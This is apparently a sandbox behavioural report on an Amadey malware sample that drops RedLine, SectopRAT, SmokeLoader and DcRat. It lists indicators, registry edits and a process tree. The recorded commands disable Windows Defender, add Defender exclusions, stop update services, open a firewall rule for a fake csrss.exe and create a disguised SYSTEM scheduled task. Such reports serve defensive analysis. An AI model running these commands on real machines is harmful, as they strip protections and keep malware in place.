amadey | d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	CB2F.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	CB2F.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	CB2F.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	CB2F.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	CB2F.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	CB2F.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

resource	yara_rule
behavioral1/memory/2116-281-0x0000000000230000-0x000000000028A000-memory.dmp	family_redline
behavioral1/files/0x000d000000019431-389.dat	family_redline
behavioral1/memory/2552-418-0x00000000003B0000-0x00000000003CE000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000d000000019431-389.dat	family_sectoprat
behavioral1/memory/2552-418-0x00000000003B0000-0x00000000003CE000-memory.dmp	family_sectoprat

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

pid	Process
320	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 16 IoCs

pid	Process
2652	C5A0.exe
2768	C746.exe
2908	C802.bat
2608	CA06.exe
340	CB2F.exe
2292	CDA0.exe
3052	explothe.exe
828	WS5OY2lM.exe
2888	bB1Ol2hS.exe
2328	em6sS5Wk.exe
2064	FY0Vk8iU.exe
1504	1ZO32QK3.exe
1264	explothe.exe
2872	1683.exe
2116	2BF7.exe
1196	303C.exe

Loads dropped DLL 24 IoCs

pid	Process
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe
2840	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2616	WerFault.exe
2652	C5A0.exe
2292	CDA0.exe
2652	C5A0.exe
828	WS5OY2lM.exe
828	WS5OY2lM.exe
2888	bB1Ol2hS.exe
2888	bB1Ol2hS.exe
2328	em6sS5Wk.exe
2328	em6sS5Wk.exe
2064	FY0Vk8iU.exe
2064	FY0Vk8iU.exe
1504	1ZO32QK3.exe
2368	WerFault.exe
2368	WerFault.exe
2368	WerFault.exe
2368	WerFault.exe

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	CB2F.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	CB2F.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	WS5OY2lM.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	bB1Ol2hS.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	em6sS5Wk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	FY0Vk8iU.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	C5A0.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2976 set thread context of 2900	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	29

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2112	sc.exe
1592	sc.exe
2468	sc.exe
2228	sc.exe
2620	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
2732	2976	WerFault.exe	17
2840	2768	WerFault.exe	32
2616	2608	WerFault.exe	35
2368	1504	WerFault.exe	55
2332	1196	WerFault.exe	70

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2856	schtasks.exe
2504	schtasks.exe

Modifies Internet Explorer settings 1 TTPs 26 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{1E5A3C81-67AF-11EE-851C-5AE3C8A3AD14} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2900	AppLaunch.exe
2900	AppLaunch.exe
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2900	AppLaunch.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeDebugPrivilege	340	CB2F.exe
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeShutdownPrivilege	1200	Process not Found

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1752	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1752	iexplore.exe
1752	iexplore.exe
1616	IEXPLORE.EXE
1616	IEXPLORE.EXE
1616	IEXPLORE.EXE
1616	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2976 wrote to memory of 2900	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	29
PID 2976 wrote to memory of 2900	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	29
PID 2976 wrote to memory of 2900	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	29
PID 2976 wrote to memory of 2900	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	29
PID 2976 wrote to memory of 2900	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	29
PID 2976 wrote to memory of 2900	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	29
PID 2976 wrote to memory of 2900	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	29
PID 2976 wrote to memory of 2900	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	29
PID 2976 wrote to memory of 2900	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	29
PID 2976 wrote to memory of 2900	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	29
PID 2976 wrote to memory of 2732	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	30
PID 2976 wrote to memory of 2732	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	30
PID 2976 wrote to memory of 2732	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	30
PID 2976 wrote to memory of 2732	2976	d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe	30
PID 1200 wrote to memory of 2652	1200	Process not Found	31
PID 1200 wrote to memory of 2652	1200	Process not Found	31
PID 1200 wrote to memory of 2652	1200	Process not Found	31
PID 1200 wrote to memory of 2652	1200	Process not Found	31
PID 1200 wrote to memory of 2652	1200	Process not Found	31
PID 1200 wrote to memory of 2652	1200	Process not Found	31
PID 1200 wrote to memory of 2652	1200	Process not Found	31
PID 1200 wrote to memory of 2768	1200	Process not Found	32
PID 1200 wrote to memory of 2768	1200	Process not Found	32
PID 1200 wrote to memory of 2768	1200	Process not Found	32
PID 1200 wrote to memory of 2768	1200	Process not Found	32
PID 1200 wrote to memory of 2908	1200	Process not Found	33
PID 1200 wrote to memory of 2908	1200	Process not Found	33
PID 1200 wrote to memory of 2908	1200	Process not Found	33
PID 1200 wrote to memory of 2908	1200	Process not Found	33
PID 2768 wrote to memory of 2840	2768	C746.exe	34
PID 2768 wrote to memory of 2840	2768	C746.exe	34
PID 2768 wrote to memory of 2840	2768	C746.exe	34
PID 2768 wrote to memory of 2840	2768	C746.exe	34
PID 1200 wrote to memory of 2608	1200	Process not Found	35
PID 1200 wrote to memory of 2608	1200	Process not Found	35
PID 1200 wrote to memory of 2608	1200	Process not Found	35
PID 1200 wrote to memory of 2608	1200	Process not Found	35
PID 2908 wrote to memory of 2512	2908	C802.bat	36
PID 2908 wrote to memory of 2512	2908	C802.bat	36
PID 2908 wrote to memory of 2512	2908	C802.bat	36
PID 2908 wrote to memory of 2512	2908	C802.bat	36
PID 1200 wrote to memory of 340	1200	Process not Found	37
PID 1200 wrote to memory of 340	1200	Process not Found	37
PID 1200 wrote to memory of 340	1200	Process not Found	37
PID 2608 wrote to memory of 2616	2608	CA06.exe	38
PID 2608 wrote to memory of 2616	2608	CA06.exe	38
PID 2608 wrote to memory of 2616	2608	CA06.exe	38
PID 2608 wrote to memory of 2616	2608	CA06.exe	38
PID 1200 wrote to memory of 2292	1200	Process not Found	39
PID 1200 wrote to memory of 2292	1200	Process not Found	39
PID 1200 wrote to memory of 2292	1200	Process not Found	39
PID 1200 wrote to memory of 2292	1200	Process not Found	39
PID 2292 wrote to memory of 3052	2292	CDA0.exe	41
PID 2292 wrote to memory of 3052	2292	CDA0.exe	41
PID 2292 wrote to memory of 3052	2292	CDA0.exe	41
PID 2292 wrote to memory of 3052	2292	CDA0.exe	41
PID 2512 wrote to memory of 1752	2512	cmd.exe	42
PID 2512 wrote to memory of 1752	2512	cmd.exe	42
PID 2512 wrote to memory of 1752	2512	cmd.exe	42
PID 2652 wrote to memory of 828	2652	C5A0.exe	43
PID 2652 wrote to memory of 828	2652	C5A0.exe	43
PID 2652 wrote to memory of 828	2652	C5A0.exe	43
PID 2652 wrote to memory of 828	2652	C5A0.exe	43
PID 2652 wrote to memory of 828	2652	C5A0.exe	43

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe
"C:\Users\Admin\AppData\Local\Temp\d0239235f37d5640da0b61534ec9344b54255e66d8cdf68c7c6dde98a5128b0c.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2976
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - DcRat
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2900
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2976 -s 68
  2⤵
  - Program crash
  PID:2732

C:\Users\Admin\AppData\Local\Temp\C5A0.exe
C:\Users\Admin\AppData\Local\Temp\C5A0.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WS5OY2lM.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WS5OY2lM.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  PID:828
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\bB1Ol2hS.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\bB1Ol2hS.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    PID:2888
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\em6sS5Wk.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\em6sS5Wk.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      PID:2328

C:\Users\Admin\AppData\Local\Temp\C746.exe
C:\Users\Admin\AppData\Local\Temp\C746.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2768 -s 132
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:2840

C:\Users\Admin\AppData\Local\Temp\C802.bat
"C:\Users\Admin\AppData\Local\Temp\C802.bat"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2908
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CA13.tmp\CA14.tmp\CA15.bat C:\Users\Admin\AppData\Local\Temp\C802.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" https://accounts.google.com/
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    PID:1752
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1752 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1616

C:\Users\Admin\AppData\Local\Temp\CA06.exe
C:\Users\Admin\AppData\Local\Temp\CA06.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2608
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2608 -s 132
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:2616

C:\Users\Admin\AppData\Local\Temp\CB2F.exe
C:\Users\Admin\AppData\Local\Temp\CB2F.exe
1⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:340

C:\Users\Admin\AppData\Local\Temp\CDA0.exe
C:\Users\Admin\AppData\Local\Temp\CDA0.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
  2⤵
  - Executes dropped EXE
  PID:3052
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
    3⤵
    - DcRat
    - Creates scheduled task(s)
    PID:2856
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
    3⤵
    PID:1648
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:1152
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "explothe.exe" /P "Admin:N"
      4⤵
      PID:268
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "explothe.exe" /P "Admin:R" /E
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:1996
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\fefffe8cea" /P "Admin:N"
      4⤵
      PID:1792
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\fefffe8cea" /P "Admin:R" /E
      4⤵
      PID:2564
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
    3⤵
    PID:1516

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\FY0Vk8iU.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\FY0Vk8iU.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
PID:2064
- C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1ZO32QK3.exe
  C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1ZO32QK3.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1504
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1504 -s 280
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:2368

C:\Windows\system32\taskeng.exe
taskeng.exe {AA3AE260-D0B7-4B07-9AB9-7BA6F5170F85} S-1-5-21-3849525425-30183055-657688904-1000:KGPMNUDG\Admin:Interactive:[1]
1⤵
PID:2744
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  2⤵
  - Executes dropped EXE
  PID:1264
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  2⤵
  PID:1028

C:\Users\Admin\AppData\Local\Temp\1683.exe
C:\Users\Admin\AppData\Local\Temp\1683.exe
1⤵
- Executes dropped EXE
PID:2872
- C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
  "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
  2⤵
  PID:2508
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    PID:2680
- C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
  "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
  2⤵
  PID:2876
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    PID:1804
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
      4⤵
      PID:2592
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:320
  - - C:\Windows\rss\csrss.exe
      C:\Windows\rss\csrss.exe
      4⤵
      PID:2424
- C:\Users\Admin\AppData\Local\Temp\source1.exe
  "C:\Users\Admin\AppData\Local\Temp\source1.exe"
  2⤵
  PID:2404
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    PID:1360
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    PID:1852
- C:\Users\Admin\AppData\Local\Temp\latestX.exe
  "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
  2⤵
  PID:1952

C:\Users\Admin\AppData\Local\Temp\2BF7.exe
C:\Users\Admin\AppData\Local\Temp\2BF7.exe
1⤵
- Executes dropped EXE
PID:2116

C:\Users\Admin\AppData\Local\Temp\303C.exe
C:\Users\Admin\AppData\Local\Temp\303C.exe
1⤵
- Executes dropped EXE
PID:1196
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1196 -s 508
  2⤵
  - Program crash
  PID:2332

C:\Users\Admin\AppData\Local\Temp\37DB.exe
C:\Users\Admin\AppData\Local\Temp\37DB.exe
1⤵
PID:2552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:2884

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:2584
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2112
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1592
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2468
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:2228
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:2620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:652
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
